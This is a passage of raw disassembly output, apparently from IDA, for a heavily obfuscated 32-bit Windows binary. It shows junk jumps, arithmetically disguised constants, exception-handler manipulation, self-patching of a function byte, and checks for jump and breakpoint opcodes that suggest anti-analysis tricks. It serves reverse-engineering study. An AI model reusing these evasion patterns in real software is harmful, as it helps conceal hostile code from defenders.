		jmp	nullsub_37
sub_4422AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443977

loc_4422BF:				; CODE XREF: sub_443977-A76Bj
		cmp	dword ptr [ebp-0Ch], 5
		jnz	loc_4422D0
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
; END OF FUNCTION CHUNK	FOR sub_443977
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_4422D0:				; CODE XREF: sub_443977-A771j
					; sub_43CB4C+8j ...
		jnb	loc_45613D
		mov	eax, [ebp+8]
		jmp	loc_45005A
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_4422DE:				; CODE XREF: sub_4463B7:loc_453CC6j
		add	edi, 79EA724Ah
		xchg	edi, [esp+4+var_4]
		jmp	sub_452A73
; END OF FUNCTION CHUNK	FOR sub_4463B7

; =============== S U B	R O U T	I N E =======================================



sub_4422EC	proc near		; CODE XREF: sub_44C592+274p
					; dviuq5id:00459E5Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C343 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043F081 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440515 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00449F37 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B158 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044CAA2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D5A9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044EEFA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004508D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004521B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045341E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00455EB0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00459339 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00459AEE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0045A113 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045A425 SIZE 0000001A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	ecx, 0A03042Eh
		xchg	ecx, [esp-4+arg_0]
		call	sub_457E37
		push	eax
		push	ebx
		mov	ebx, esi
		jmp	loc_43F081
sub_4422EC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_442307:				; CODE XREF: dviuq5id:loc_43F08Cj
		adc	ecx, edi
		test	edi, 81E3721Dh
		jmp	loc_4495DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_442314:				; CODE XREF: sub_445707:loc_43CAC0j
		jz	loc_44B650
		jmp	loc_4407F8
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459B3F

loc_44231F:				; CODE XREF: sub_459B3F:loc_43C8E4j
		jz	loc_44FE53
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E9h
		jz	loc_44FE53
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0EBh
; END OF FUNCTION CHUNK	FOR sub_459B3F
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_442337:				; CODE XREF: sub_4547E2-16715j
		jz	loc_44FE53
		jmp	loc_459644
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_442342:				; CODE XREF: sub_446004-127Cj
		ja	loc_44CECC
; END OF FUNCTION CHUNK	FOR sub_446004

; =============== S U B	R O U T	I N E =======================================



sub_442348	proc near		; CODE XREF: dviuq5id:004552A3p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, esp
		push	0
		jmp	loc_44040B
sub_442348	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_442355:				; CODE XREF: sub_43938Bj
		push	0E65FBF6Ah
		pop	eax
		jmp	loc_459574
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_442360:				; CODE XREF: sub_43C2DA+119Aj
		pop	eax
		rol	eax, 1Eh
		sub	eax, 775D89h
		or	eax, 6E60435Dh
		xor	eax, 320A42EDh
		add	eax, ebp
		jmp	loc_44BA4C
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E763

loc_44237D:				; CODE XREF: sub_44E763+441Aj
		ror	edx, 0Bh
		jmp	loc_447DBF
; END OF FUNCTION CHUNK	FOR sub_44E763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_442385:				; CODE XREF: sub_44623D:loc_44E2B4j
		call	sub_43B3A0
		mov	eax, 99B20D50h
		call	sub_453642
		mov	ds:off_41D078, eax
		jmp	loc_43EE84
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_44239F:				; CODE XREF: sub_446181+876Cj
		or	ebp, edi
		jnz	nullsub_55
		jmp	loc_4510B6
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_4423AC:				; CODE XREF: sub_459983-1BD1Fj
		xchg	ebx, ebp
		adc	esi, 1442B10h

loc_4423B4:				; CODE XREF: sub_459983:loc_440D3Bj
		push	offset loc_450C8F
		jmp	loc_43F133
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_4423BE:				; CODE XREF: sub_4442C5:loc_4442E9j
		xor	esi, 0AD6F2B87h
		test	esi, 80h
		jmp	loc_43D324
; END OF FUNCTION CHUNK	FOR sub_4442C5
; ---------------------------------------------------------------------------

loc_4423CF:				; CODE XREF: dviuq5id:loc_442662j
		jz	loc_4576A3
		jmp	loc_43C2C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_4423DA:				; CODE XREF: sub_43E421+14074j
					; DATA XREF: sub_442772+3D63o
		add	ecx, 0BEC2E4F9h
		or	ebx, ecx
		call	sub_444E6D
; END OF FUNCTION CHUNK	FOR sub_43E421
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4423E7:				; CODE XREF: sub_43C4B5+13FD7j
		jmp	loc_44D2E5
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4423EC:				; CODE XREF: sub_440898+12j
		jmp	loc_44C86D
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455658

loc_4423F1:				; CODE XREF: sub_455658-71EDj
		not	eax
		jmp	loc_4481DB
; END OF FUNCTION CHUNK	FOR sub_455658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4423F8:				; CODE XREF: sub_43C2DA+EE10j
		and	edx, 7D782C5Eh
		jnz	loc_453369
		cmp	edi, 89DBA463h
		jmp	loc_441EF2
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_442410:				; CODE XREF: sub_4427AE:loc_45120Dj
		jmp	loc_442C97
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------

loc_442415:				; CODE XREF: dviuq5id:0043E714j
		jnz	loc_43D422
		jmp	loc_43B3E4
; ---------------------------------------------------------------------------

loc_442420:				; DATA XREF: sub_445498:loc_44211Eo
		cmp	al, 0A4h
		jz	loc_446739
		jmp	loc_450E62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_44242D:				; CODE XREF: sub_44CFBC-8F85j
					; sub_44CFBC:loc_45136Ej
		call	sub_459725

loc_442432:				; CODE XREF: sub_4552B2+11j
		jmp	loc_451F33
; END OF FUNCTION CHUNK	FOR sub_44CFBC

; =============== S U B	R O U T	I N E =======================================



sub_442437	proc near		; CODE XREF: dviuq5id:0043A4C2j
					; sub_44818A+Bp

; FUNCTION CHUNK AT 0043F966 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004592D2 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp+8]
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		jmp	loc_4592D2
sub_442437	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_368. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F38E

loc_44244A:				; CODE XREF: sub_44F38E+A502j
		jmp	loc_43D691
; END OF FUNCTION CHUNK	FOR sub_44F38E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_44244F:				; CODE XREF: sub_4559CE-32EDj
		jmp	nullsub_365
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_442454:				; CODE XREF: sub_43EFA5+16F06j
		xchg	esi, [esp+0]
		jmp	loc_44D797
; END OF FUNCTION CHUNK	FOR sub_43EFA5

; =============== S U B	R O U T	I N E =======================================



sub_44245C	proc near		; DATA XREF: sub_44514D-8D0Do

; FUNCTION CHUNK AT 0043CBBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441ED0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004437D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E625 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044FB00 SIZE 00000005 BYTES

		push	esi
		push	4BAC11BCh
		pop	esi
		sub	esi, 0C394A18Bh
		jmp	loc_441ED0
sub_44245C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44246E:				; CODE XREF: sub_44B99E+D201j
		jl	loc_457BDD
		jno	loc_43C2EF

loc_44247A:				; CODE XREF: sub_44B99E:loc_445715j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_444338
		jmp	loc_44607C
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

locret_44248B:				; CODE XREF: dviuq5id:loc_43E87Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44248C:				; CODE XREF: sub_43BA0E+1AE9Aj
		or	esi, 4932E7FBh
		shl	eax, 5

loc_442495:				; CODE XREF: sub_43BA0E:loc_456896j
		or	eax, 0BB33328Bh
		add	eax, 9C630C1Eh
		call	sub_453642
		mov	ds:off_41D11C, eax
		lea	eax, loc_43E303
		jmp	loc_4397DB
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_4424B7:				; CODE XREF: sub_455400-8A8Cj
		jz	loc_441702
		jmp	loc_43D09E
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4424C2:				; CODE XREF: sub_43C2DA:loc_448C47j
		xchg	ebx, [esp-4+arg_0]
		push	offset sub_459C88
		jmp	nullsub_290
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------

loc_4424CF:				; CODE XREF: dviuq5id:0044AFC2j
		jnp	loc_43D8FA
		mov	ecx, [ebp+0]

; =============== S U B	R O U T	I N E =======================================



sub_4424D8	proc near		; CODE XREF: sub_454267:loc_4542ECp

; FUNCTION CHUNK AT 0043ADCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B993 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F667 SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_454E7C
		test	eax, eax
		jz	loc_4513D8
		jmp	loc_43ADCD
sub_4424D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4424EE:				; CODE XREF: dviuq5id:00451E7Cj
		xor	eax, 0DFA21A18h
		adc	ebp, eax
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_4424F6:				; CODE XREF: sub_454094-184FCj
					; sub_43ECF4+2j ...
		jmp	loc_44518B
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4424FB:				; CODE XREF: dviuq5id:00444117j
					; sub_454094:loc_44BC41j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_4424FE:				; CODE XREF: sub_453642:loc_4419DBj
		jmp	nullsub_270
; END OF FUNCTION CHUNK	FOR sub_453642

; =============== S U B	R O U T	I N E =======================================



sub_442503	proc near		; CODE XREF: sub_43D767+4p
					; sub_454267-11833j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A319 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043A87C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B4F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CA25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450CBB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00458170 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00459F98 SIZE 00000007 BYTES

		push	ebx
		mov	ebx, ebp
		jmp	loc_450CBB
sub_442503	endp


; =============== S U B	R O U T	I N E =======================================



sub_44250B	proc near		; CODE XREF: sub_459A5B:loc_4419CAp
					; dviuq5id:004483C4j

; FUNCTION CHUNK AT 0043B344 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043B8BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043C392 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043D852 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00441656 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044396C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449539 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CC10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450154 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451C60 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004543BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004564D7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00458D8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459626 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	eax, 0F4B106D3h
		add	eax, ebp
		add	eax, 392E4A5h
		push	eax
		jmp	loc_43B344
sub_44250B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_442523:				; CODE XREF: sub_44297E:loc_449044j
		jnz	loc_44FD46
		jmp	loc_450D9A
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
		mov	eax, ebx
		sbb	ebx, 0FE68EF76h
		jmp	sub_456002
; ---------------------------------------------------------------------------

loc_44253B:				; CODE XREF: dviuq5id:loc_43F09Dj
					; dviuq5id:00458487j
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0D357460Ah
		pop	eax
		rol	eax, 9
		xor	eax, 0AE8C15F6h
		call	sub_43CCD1
		jmp	loc_452923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44255E:				; CODE XREF: sub_43CB4C+12A6j
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_45A1A8
		push	offset loc_4550E2
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_442578:				; CODE XREF: sub_454094-2900j
		jz	loc_43B81E
		jmp	loc_457294
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_442583:				; CODE XREF: sub_43E10E+1B68Dj
		rol	ebp, 1Ch
		test	edx, ebx
		jmp	loc_452EE8
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_44258D:				; CODE XREF: sub_4492F0:loc_441103j
		pop	eax
		xor	eax, 641023CAh
		cmp	eax, 9F247537h
		jmp	loc_4490ED
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_44259F:				; CODE XREF: sub_445498-449Cj
		jnz	loc_451506
		jmp	loc_4560F3
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------

loc_4425AA:				; CODE XREF: dviuq5id:0045402Fj
		xchg	esi, [esp]
		pop	esi
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		jz	loc_44588F
		jmp	loc_452D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_4425BF:				; CODE XREF: sub_450B01-CE60j
		mov	[ebp+0], esi
		and	eax, edi

loc_4425C4:				; CODE XREF: sub_443862:loc_443A81j
		push	offset loc_44E33E
		jmp	nullsub_154
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_4425CE:				; CODE XREF: sub_440E99:loc_44555Cj
		jz	loc_444379

loc_4425D4:				; CODE XREF: sub_43A160+9C7Ej
		jmp	loc_44DD33
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A245

loc_4425D9:				; CODE XREF: sub_43A245+3B85j
		jmp	nullsub_127
; END OF FUNCTION CHUNK	FOR sub_43A245
; ---------------------------------------------------------------------------
		cmp	esi, edi
		jmp	loc_44407A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_4425E5:				; CODE XREF: sub_44D022j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_453A1E
		jmp	loc_43FA97
; END OF FUNCTION CHUNK	FOR sub_44D022
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_293. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450377

loc_4425FA:				; CODE XREF: sub_450377+1j
		jmp	loc_44FA1B
; END OF FUNCTION CHUNK	FOR sub_450377
; ---------------------------------------------------------------------------

loc_4425FF:				; CODE XREF: dviuq5id:00445C54j
		or	edi, 0E95D14B8h

; =============== S U B	R O U T	I N E =======================================



sub_442605	proc near		; CODE XREF: sub_457566-C19Ep

; FUNCTION CHUNK AT 0044B78B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D5E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A046 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		imul	dword ptr [edx-4]
		add	eax, 2
		jmp	loc_45A046
sub_442605	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_442614:				; CODE XREF: dviuq5id:00443F3Fj
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-1Ch]
		jmp	loc_446113
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_442622:				; CODE XREF: sub_43C3D8+167B0j
		inc	dword ptr [ebp-1Ch]
		jmp	loc_446107
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_44262A:				; CODE XREF: sub_43B89D+Cj
					; dviuq5id:004501FEj
		call	sub_4553DE

loc_44262F:				; CODE XREF: sub_43B1B6+9j
					; sub_43F236+259Ej
		jmp	loc_452ABB
; END OF FUNCTION CHUNK	FOR sub_43B89D
; ---------------------------------------------------------------------------
		add	edx, 36765572h
		jmp	loc_43AF97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_44263F:				; CODE XREF: sub_43D393+Dj
		jz	loc_43E641
		jmp	loc_44E714
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
		shr	edx, 0Bh
		jmp	sub_449948
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A133

loc_442652:				; CODE XREF: sub_44A133:loc_444B25j
		call	nullsub_467
		jmp	ds:dword_41D0DC
; END OF FUNCTION CHUNK	FOR sub_44A133
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4505B4

loc_44265D:				; CODE XREF: sub_4505B4-5510j
		jmp	sub_4554F3
; END OF FUNCTION CHUNK	FOR sub_4505B4
; ---------------------------------------------------------------------------

loc_442662:				; CODE XREF: dviuq5id:00442B26j
		jmp	loc_4423CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_442667:				; CODE XREF: sub_44A15A-971Cj
		jmp	loc_4575FA
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E08B

loc_44266C:				; CODE XREF: sub_43E08B-19BFj
		jmp	loc_44159C
; END OF FUNCTION CHUNK	FOR sub_43E08B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_467. PRESS KEYPAD	"+" TO EXPAND]
		dd offset sub_43FED0
; ---------------------------------------------------------------------------
		jmp	loc_45A027

; =============== S U B	R O U T	I N E =======================================



sub_44267B	proc near		; CODE XREF: dviuq5id:0043DCE4p
					; dviuq5id:0044371Ej ...
		xchg	ebx, [esp+0]
		pop	ebx
		push	0C1F8E4DDh
		pop	edi
		or	edi, 9549DB33h
		sub	edi, 0B11A627Bh
		xor	edi, 4404B2BDh
		add	edi, 9F6A7390h

loc_44269D:				; CODE XREF: dviuq5id:0043BF2Fj
		jmp	loc_4587D3
sub_44267B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4426A2:				; CODE XREF: dviuq5id:0045154Bj
		add	ebx, 84C4D2E0h
		xchg	ebx, [esp]
		jmp	loc_439742
; ---------------------------------------------------------------------------
		test	al, al
		jz	nullsub_276
		jmp	loc_43B7A7

; =============== S U B	R O U T	I N E =======================================



sub_4426BD	proc near		; CODE XREF: dviuq5id:0043F6EFj
					; sub_450817+7p
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		retn
sub_4426BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4426C3	proc near		; CODE XREF: sub_44EAC4+FE6p

; FUNCTION CHUNK AT 004392B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043DE74 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_43DE74
sub_4426C3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A8E0

loc_4426CC:				; CODE XREF: sub_44A8E0+C05Aj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44A8E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4523AC

loc_4426CE:				; CODE XREF: sub_4523AC+13j
		jmp	loc_44B091
; END OF FUNCTION CHUNK	FOR sub_4523AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A8E0

loc_4426D3:				; CODE XREF: sub_44A8C4+Aj
					; sub_44A8E0+C048j
		xor	eax, eax
		mov	[ebp+var_8], eax
		jmp	loc_456935
; END OF FUNCTION CHUNK	FOR sub_44A8E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_4426DD:				; CODE XREF: sub_451B18:loc_457973j
		test	byte ptr [ebp-8], 8
		jz	loc_44A501
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_44CF50
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------
		jge	loc_459595
		sub	edi, ebx
		jmp	sub_440405
; ---------------------------------------------------------------------------
		sbb	ebx, 61C7556h
		mov	[esi], edx
		jmp	sub_43D89E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44270A:				; CODE XREF: sub_43938B:loc_456FB6j
		mov	eax, [eax]
		push	eax
		jmp	loc_4582B2
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------

loc_442712:				; CODE XREF: dviuq5id:00452BF0j
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h
		mov	[ebp-4], eax
		jmp	loc_449D98
; ---------------------------------------------------------------------------
		jge	loc_43C14C
		jmp	sub_44108F
; ---------------------------------------------------------------------------
		jl	loc_43D72D
		mov	edi, esi
		jmp	sub_457F2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_44273E:				; CODE XREF: sub_449EB7+2A69j
		jl	loc_4416B7
; END OF FUNCTION CHUNK	FOR sub_449EB7
; START	OF FUNCTION CHUNK FOR sub_450F3F

loc_442744:				; CODE XREF: sub_450F3F+14j
		jmp	loc_455557
; END OF FUNCTION CHUNK	FOR sub_450F3F
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 19h
		dd 84EA819Dh, 0F2D7759h, 0BC698Ah, 0EF56E900h, 589FFFFh
		dd 41D0B4h, 5001058Dh, 0C60045h, 288FE9C3h
		db 1, 0

; =============== S U B	R O U T	I N E =======================================



sub_442772	proc near		; CODE XREF: sub_40F02F:loc_40F083p
					; sub_40F0AC:loc_40F104p ...

; FUNCTION CHUNK AT 004464BB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0045719D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A301 SIZE 00000005 BYTES

		push	ebx
		jmp	loc_45719D
sub_442772	endp

; ---------------------------------------------------------------------------

loc_442778:				; CODE XREF: dviuq5id:loc_454E9Aj
		pop	ebx
		sub	ebx, 0D025D1DCh
		and	ebx, 0C160FCDBh
		test	ebx, 20h
		jmp	loc_43B770
; ---------------------------------------------------------------------------
		dd 0AEF28A0Fh, 9DE9FFFFh
		db 7Ch,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44279B	proc near		; CODE XREF: sub_4427AE-2ADEp
					; dviuq5id:004525EEj

; FUNCTION CHUNK AT 004396DF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00439ED9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DC95 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043F82B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044176D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444160 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445E6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004468B6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044C572 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044C951 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_43CCD1
		jmp	loc_44176D
sub_44279B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_4403FA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4427AE	proc near		; CODE XREF: sub_441DDA-893Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0043B3AE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B82F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043DD40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E7DD SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043FCCB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00440038 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004410B9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00442410 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004429CF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442C97 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00442E25 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00445D84 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446CF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448769 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004493D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B4AA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B534 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004511F5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004524F5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004525E5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0045496E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00454D11 SIZE 0000001D BYTES
